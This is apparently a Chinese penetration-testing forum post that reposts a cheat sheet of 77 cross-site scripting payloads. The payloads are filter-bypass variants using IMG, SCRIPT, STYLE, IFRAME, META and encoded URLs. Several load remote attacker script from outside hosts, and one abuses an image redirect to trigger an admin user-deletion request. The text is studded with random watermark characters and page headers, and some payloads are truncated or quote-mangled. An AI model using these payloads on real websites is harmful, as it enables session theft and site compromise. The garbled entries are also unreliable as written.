中国网络渗透测试联盟
标题:
XSS攻击汇总
[打印本页]
作者:
admin
时间:
2013-4-19 19:22
标题:
XSS攻击汇总
貌似关于xss的资料t00ls比较少,看见好东西Copy过来,不知道有木有童鞋需要Mark的。
! N' S; ]- x/ _" q4 G
(1)普通的XSS JavaScript注入
/ v7 s5 c' Y) V e9 z
<SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>
$ W0 S1 H3 m: t% f
(2)IMG标签XSS使用JavaScript命令
b# J. z" q) p. J. L5 ~6 L# \
<SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>
+ K0 ~: h+ v( q f7 J9 _* w8 p
(3)IMG标签无分号无引号
7 o5 k& l4 j# _9 ~: [5 u
<IMG SRC=javascript:alert(‘XSS’)>
4 [8 D" q5 H" ]: M+ G8 ~) l
(4)IMG标签大小写不敏感
# c& w3 S5 O& C+ |* {1 C7 b0 _
<IMG SRC=JaVaScRiPt:alert(‘XSS’)>
( n3 E E+ y R9 w+ }
(5)HTML编码(必须有分号)
8 O& v- u) Y" r" f6 I! V; D. ]
<IMG SRC=javascript:alert(“XSS”)>
+ T4 {( R, K6 a0 _
(6)修正缺陷IMG标签
8 C$ X1 C; ^9 ]/ A" c7 ?7 o' f) k
<IMG “”"><SCRIPT>alert(“XSS”)</SCRIPT>”>
7 P. A: Y3 R0 {% c4 N
- M9 K+ n1 [- `* J/ O; ?7 g( L
9 X9 ]; W [" B2 G
(7)formCharCode标签(计算器)
; V9 d6 w" \% O2 a
<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>
, o. l; A2 M2 [3 j5 o
(8)UTF-8的Unicode编码(计算器)
' t; L v: n7 k* K+ `4 `
<IMG SRC=jav..省略..S')>
h& y/ B3 v" G" }; J3 p8 X$ f
(9)7位的UTF-8的Unicode编码是没有分号的(计算器)
$ u1 @% f- N+ u/ B
<IMG SRC=jav..省略..S')>
7 u n/ S' M5 o5 K) }# R
(10)十六进制编码也是没有分号(计算器)
1 o. A6 {8 D$ D
<IMG SRC=java..省略..XSS')>
/ X$ U4 E. r3 u9 f) A& a- w$ e* t
(11)嵌入式标签,将Javascript分开
- x4 ^* M3 f* D* g, C
<IMG SRC=”jav ascript:alert(‘XSS’);”>
( B. Y% |) |: c6 y* H! z5 u' @
(12)嵌入式编码标签,将Javascript分开
5 k7 N$ ^5 @1 h( M
<IMG SRC=”jav ascript:alert(‘XSS’);”>
! \3 y9 z0 s2 @3 F0 X- D
(13)嵌入式换行符
- {* y$ Q; i9 ?, y4 H& U
<IMG SRC=”jav ascript:alert(‘XSS’);”>
" [" ]& ]6 n' z* i! t! L* N/ e! {5 s& T
(14)嵌入式回车
! Y. T: e. L7 i9 j2 n# H0 Q' o
<IMG SRC=”jav ascript:alert(‘XSS’);”>
4 Q5 b. Q( R3 Q2 o
(15)嵌入式多行注入JavaScript,这是XSS极端的例子
9 g2 R. `" Q# M. t
<IMG SRC=”javascript:alert(‘XSS‘)”>
3 @$ q' A1 D& r$ N s/ h U4 A
(16)解决限制字符(要求同页面)
/ ]3 q( Y: }" V' Q3 z
<script>z=’document.’</script>
& y8 O6 S- d0 _" g4 I/ z+ W' j
<script>z=z+’write(“‘</script>
' a( g6 i1 G2 ^
<script>z=z+’<script’</script>
: C0 A0 o$ i$ b+ z5 ?0 d
<script>z=z+’ src=ht’</script>
( `# G0 i( \! a
<script>z=z+’tp://ww’</script>
6 q" E5 I* v7 t9 n0 j" l
<script>z=z+’w.shell’</script>
' J& H. E; `) Q5 d' I
<script>z=z+’.net/1.’</script>
, g3 H$ E9 ` [9 a" ~
<script>z=z+’js></sc’</script>
" [+ Q; P! S8 }$ X; @
<script>z=z+’ript>”)’</script>
) @. c" e7 Z+ G( b
<script>eval_r(z)</script>
, g. n" l* l( d/ k- W8 P: h: r
(17)空字符12-7-1 T00LS - Powered by Discuz! Board
$ G M/ u& _# L
https://www.t00ls.net/viewthread ... table&tid=15267
2/6
* J i4 i) z- b7 i4 h8 ^
perl -e ‘print “<IMG SRC=java\0script:alert(\”XSS\”)>”;’ > out
! @4 G. ~& ]5 ]1 P+ Y9 Q
(18)空字符2,空字符在国内基本没效果.因为没有地方可以利用
7 ?; Z' g1 P. d& o" W r- C' g5 W
perl -e ‘print “<SCR\0IPT>alert(\”XSS\”)</SCR\0IPT>”;’ > out
( _2 Y2 ?! R5 B9 V2 A9 [% b" Z0 S3 g5 i
(19)Spaces和meta前的IMG标签
2 ~ x! _7 W0 e5 r& q
<IMG SRC=” javascript:alert(‘XSS’);”>
+ ]( r* C6 ?9 h6 f
(20)Non-alpha-non-digit XSS
g$ n/ n/ m* d7 t
<SCRIPT/XSS SRC=”
http://3w.org/XSS/xss.js
”></SCRIPT>
w: }5 r* V' Y
(21)Non-alpha-non-digit XSS to 2
9 m0 M8 u9 ]* I/ w! c: D$ w
<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert(“XSS”)>
, b+ b' x9 s- P3 N! u8 C: Z
(22)Non-alpha-non-digit XSS to 3
' p" m, J" e8 N; e) y9 h
<SCRIPT/SRC=”
http://3w.org/XSS/xss.js
”></SCRIPT>
_' ~! e$ M1 B2 w& P
(23)双开括号
, A# S( T# c' K' j& ?- Y, l
<<SCRIPT>alert(“XSS”);//<</SCRIPT>
( _, O8 Z- U# Q" f. ^
(24)无结束脚本标记(仅火狐等浏览器)
/ a$ Q" I5 \1 z( v
<SCRIPT SRC=http://3w.org/XSS/xss.js?<B>
7 W# y7 E4 a5 o% ]
(25)无结束脚本标记2
1 g) E2 c! c% x; d' E* A
<SCRIPT SRC=//3w.org/XSS/xss.js>
- n8 C3 w* w" j8 k( P0 R! c
(26)半开的HTML/JavaScript XSS
8 x6 z1 V5 h; }0 ?7 l. b
<IMG SRC=”javascript:alert(‘XSS’)”
8 X; M( \$ C2 |% q) q
(27)双开角括号
; z; J/ F s% j, t! W1 I$ P
<iframe src=http://3w.org/XSS.html <
% H$ X, E8 _, u$ Y9 [
(28)无单引号 双引号 分号
/ M# P! w) R& m
<SCRIPT>a=/XSS/
' `; @6 K! Z" p. }6 S0 H( F5 }
alert(a.source)</SCRIPT>
) H( V' Y6 j/ d2 t
(29)换码过滤的JavaScript
; T0 Y; w' Y( D( c" T _% w
\”;alert(‘XSS’);//
" d! l: [' s1 A& D8 @
(30)结束Title标签
9 @3 n1 _3 H1 U- [1 _' e/ M
</TITLE><SCRIPT>alert(“XSS”);</SCRIPT>
& S% I) i( p) Q6 l: P c& y
(31)Input Image
' y- J: i& l: z4 z( o' @
<INPUT SRC=”javascript:alert(‘XSS’);”>
8 H9 T5 t: e/ E, l8 A I" L
(32)BODY Image
& O, C7 `0 f7 s
<BODY BACKGROUND=”javascript:alert(‘XSS’)”>
# v+ m. C* k7 | i3 j0 D z! E
(33)BODY标签
1 A6 c5 A7 v5 g, L8 K
<BODY(‘XSS’)>
/ @ a9 B z g. c* C, w
(34)IMG Dynsrc
7 i; F, p) G( Y3 r. }/ q
<IMG DYNSRC=”javascript:alert(‘XSS’)”>
$ H5 _$ \! K1 l- S6 D
(35)IMG Lowsrc
4 z& }! V5 ~ j! T3 P4 K
<IMG LOWSRC=”javascript:alert(‘XSS’)”>
0 ` `1 E( G/ o/ s8 B6 [) M( P
(36)BGSOUND
, Q* q1 G" ^- T* P) C, V
<BGSOUND SRC=”javascript:alert(‘XSS’);”>
2 T9 B8 {& n3 d7 ]4 ]0 Y. Y+ z* e
(37)STYLE sheet
: _; j. ~: g6 m) K8 y
<LINK REL=”stylesheet” HREF=”javascript:alert(‘XSS’);”>
( M7 B! N' E* b6 A
(38)远程样式表
# t6 i2 J$ C7 ]2 N; Y
<LINK REL=”stylesheet” HREF=”
http://3w.org/xss.css
”>
2 R- c1 [8 n8 E3 r* h
(39)List-style-image(列表式)
. T1 W6 H# a ^
<STYLE>li {list-style-image: url(“javascript:alert(‘XSS’)”);}</STYLE><UL><LI>XSS
: S& Y$ d" T' A1 g& w, A, j) j4 C
(40)IMG VBscript
0 H* G% F0 p3 O: @9 @: @9 Y
<IMG SRC=’vbscript:msgbox(“XSS”)’></STYLE><UL><LI>XSS
. b- n- n5 i* @, K
(41)META链接url
6 J8 t6 m' w( l2 G2 y" \* `* [
& d) N2 T: u2 \+ r
$ j8 l, }7 ~7 i2 |7 p7 w
<META HTTP-EQUIV=”refresh” CONTENT=”0;
9 v1 i4 G1 S. ?6 U2 y) ]
URL=http://;URL=javascript:alert(‘XSS’);”>
+ R6 K% N; L+ b W! F
(42)Iframe
6 n0 f! w6 }! |8 V
<IFRAME SRC=”javascript:alert(‘XSS’);”></IFRAME>
. B7 u4 Q7 J5 x5 ^
(43)Frame
& j# W2 ?- V" R: T
<FRAMESET><FRAME SRC=”javascript:alert(‘XSS’);”></FRAMESET>12-7-1 T00LS - Powered by Discuz! Board
! R; \, Z6 Z' U* ?
https://www.t00ls.net/viewthread ... table&tid=15267
3/6
$ A! a8 c( P9 m0 K7 |
(44)Table
8 y8 \( A3 c. W- F
<TABLE BACKGROUND=”javascript:alert(‘XSS’)”>
" l, x9 o3 q( x% m' q9 a
(45)TD
4 i, f- q" k" E8 d) I; b8 g
<TABLE><TD BACKGROUND=”javascript:alert(‘XSS’)”>
+ ^' ^$ H3 M- U
(46)DIV background-image
( K1 w$ _# ?* ?7 p* k
<DIV STYLE=”background-image: url(javascript:alert(‘XSS’))”>
+ C; e% T( O* ?$ W& _
(47)DIV background-image后加上额外字符(1-32&34&39&160&8192-
; ^, @% j( @5 t! T* Z
8&13&12288&65279)
L4 z$ ?% c' r' U- {
<DIV STYLE=”background-image: url(javascript:alert(‘XSS’))”>
' d; Q2 g" g- D. @, G! `2 Q# u
(48)DIV expression
5 ^* K$ f; n) |( E6 g) O+ f# J
<DIV STYLE=”width: expression_r(alert(‘XSS’));”>
3 A& d$ J1 A) \, Q9 H& A8 ?. v
(49)STYLE属性分拆表达
f0 u5 J2 H2 s$ U! R( I" q7 d
<IMG STYLE=”xss:expression_r(alert(‘XSS’))”>
4 O, w" @. d* k# e1 ]8 R
(50)匿名STYLE(组成:开角号和一个字母开头)
: H4 s0 S" h/ T; x0 k; [
<XSS STYLE=”xss:expression_r(alert(‘XSS’))”>
6 j$ ?3 Q, i- Z/ z; j
(51)STYLE background-image
) M2 A9 c: |" k6 J
<STYLE>.XSS{background-image:url(“javascript:alert(‘XSS’)”);}</STYLE><A
9 u& A! m1 [/ X5 \+ X
CLASS=XSS></A>
% t: e2 y1 a: A& _/ q/ i2 G
(52)IMG STYLE方式
$ g. Q; U; w( _4 Z& e Y. j
exppression(alert(“XSS”))’>
{/ a& p2 J, f e! l! \
(53)STYLE background
) Z& Z# x5 ?; ]; k1 Z
<STYLE><STYLE
0 C' o4 C7 C# O
type=”text/css”>BODY{background:url(“javascript:alert(‘XSS’)”)}</STYLE>
( P( ?9 H* x" \1 n
(54)BASE
1 ?+ M# M* O ?6 @) E( ` w
<BASE HREF=”javascript:alert(‘XSS’);//”>
0 x/ \9 x: Y" ?) w4 T
(55)EMBED标签,你可以嵌入FLASH,其中包涵XSS
0 N: N9 J K7 m) z0 K- _" w
<EMBED SRC=”
http://3w.org/XSS/xss.swf
” ></EMBED>
. v( d+ x: A1 ^
(56)在flash中使用ActionScrpt可以混进你XSS的代码
/ g6 k/ H+ b; ~% } T2 m
a=”get”;
$ `! l/ o" J& k0 q2 e2 T! g- y& c
b=”URL(\”";
% m; T" _+ W" w/ T
c=”javascript:”;
; p7 A. Z0 K/ g2 Z* j* s" u6 R5 x
d=”alert(‘XSS’);\”)”;
( i4 ^! Z% O6 |& k% O- u y
eval_r(a+b+c+d);
8 a: R9 h6 K1 q& K( y$ [7 E
(57)XML namespace.HTC文件必须和你的XSS载体在一台服务器上
- Z+ M8 z& A3 J$ \
<HTML xmlns:xss>
7 m6 q/ _1 }. f/ b
<?import namespace=”xss” implementation=”
http://3w.org/XSS/xss.htc
”>
6 m9 G7 W* g* o- u/ n" l
<xss:xss>XSS</xss:xss>
( a9 E4 M- L' K; a
</HTML>
6 R/ b2 o# ~- e M- m
(58)如果过滤了你的JS你可以在图片里添加JS代码来利用
4 A7 f( H1 C/ \! u# N8 O, z; N
<SCRIPT SRC=””></SCRIPT>
3 W5 A3 ^. P# ^
(59)IMG嵌入式命令,可执行任意命令
) W+ g1 F$ w+ A/ j2 K3 M
<IMG SRC=”
http://www.XXX.com/a.php?a=b
”>
" q" ^( G5 w: u! p
(60)IMG嵌入式命令(a.jpg在同服务器)
6 {9 l- b' ?1 E6 w' V: n: W
Redirect 302 /a.jpg
http://www.XXX.com/admin.asp&deleteuser
/ h, W- N/ w) O6 |5 t' }
(61)绕符号过滤
0 j9 j: u# f& ^ b+ o- @" l
<SCRIPT a=”>” SRC=”
http://3w.org/xss.js
”></SCRIPT>
6 }5 g, Z9 w' ^7 D% g
(62)
( [1 {5 f& T, ]. c) M& h% |8 l
<SCRIPT =”>” SRC=”
http://3w.org/xss.js
”></SCRIPT>
1 U2 g' X9 p# ^( |! }( ^+ x( k
(63)
3 ?! `; B1 P. I! ~3 p/ q: P
<SCRIPT a=”>” ” SRC=”
http://3w.org/xss.js
”></SCRIPT>
1 [2 `! w# G! n8 |
(64)
5 L5 D- g Y6 h9 R8 G
<SCRIPT “a=’>’” SRC=”
http://3w.org/xss.js
”></SCRIPT>
: v1 d5 X& g! O$ U9 T. E
(65)
6 `6 _/ ~5 w- N2 Y5 X: k
<SCRIPT a=`>` SRC=”
http://3w.org/xss.js
”></SCRIPT>
( u! `: T0 }8 ]% j% {
(66)12-7-1 T00LS - Powered by Discuz! Board
% N- A- W" F/ k2 i: j
https://www.t00ls.net/viewthread ... table&tid=15267
4/6
) ?* Y, q2 C& U
<SCRIPT a=”>’>” SRC=”
http://3w.org/xss.js
”></SCRIPT>
+ X- c" [; R+ G) r, W
(67)
, f# y, G- u) r1 I
<SCRIPT>document.write(“<SCRI”);</SCRIPT>PT SRC=”
http://3w.org/xss.js
”>
- v! }; j' L" i; O2 N
</SCRIPT>
5 ~% p+ M6 }* ]4 n. b
(68)URL绕行
" m6 I6 p& y' _; F: }4 x
<A HREF=”
http://127.0.0.1/
”>XSS</A>
; f0 p) j i8 N" Z
(69)URL编码
- n5 R4 c6 {3 ?* u* Y. H& a8 t
<A HREF=”
http://3w.org
”>XSS</A>
0 W \* h& }$ I+ ?+ ]
(70)IP十进制
7 t& J% Q% W% V/ E! g
<A HREF=”http://3232235521″>XSS</A>
1 n) r3 Q9 R+ `" C) r' c" p
(71)IP十六进制
+ l1 W& V' z( a2 W* ?: {
<A HREF=”
http://0xc0.0xa8.0
×00.0×01″>XSS</A>
- [! o" @) u7 ~) M
(72)IP八进制
* \+ ~& m3 y' l
<A HREF=”
http://0300.0250.0000.0001
″>XSS</A>
a- ]8 c0 L5 R# s9 @# U2 T
(73)混合编码
( i1 k3 T" \2 [6 P* r4 z
<A HREF=”h
4 t! I @9 g: }8 L
tt p://6 6.000146.0×7.147/”">XSS</A>
! Z z- z0 V5 D( o/ k
(74)节省[http:]
/ [7 w6 b1 R3 Y6 z+ j: F5 t; U
<A HREF=”//www.google.com/”>XSS</A>
# X0 E; y5 |, q0 b& `. r5 a* Q
(75)节省[www]
1 ?" S- t4 K O7 g/ N! F
<A HREF=”
http://google.com/
”>XSS</A>
8 Z$ H# B2 _% ]; q
(76)绝对点绝对DNS
) `' ?# g- J) r7 g; m
<A HREF=”
http://www.google.com./
”>XSS</A>
8 k# d& {& k) L* ]( N; _ R$ g
(77)javascript链接
& u* x+ L% b5 ^
<A HREF=”javascript:document.location=’
http://www.google.com/
’”>XSS</A>
* G4 @- R: Y' E$ R [ c$ z s
3 A5 z- L1 v/ {/ [( h
原文地址:
http://fuzzexp.org/u/0day/?p=14
j h5 Z5 F% G9 }. b
& U, V7 J2 H6 D1 |" Q/ s4 K
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)
Powered by Discuz! X3.2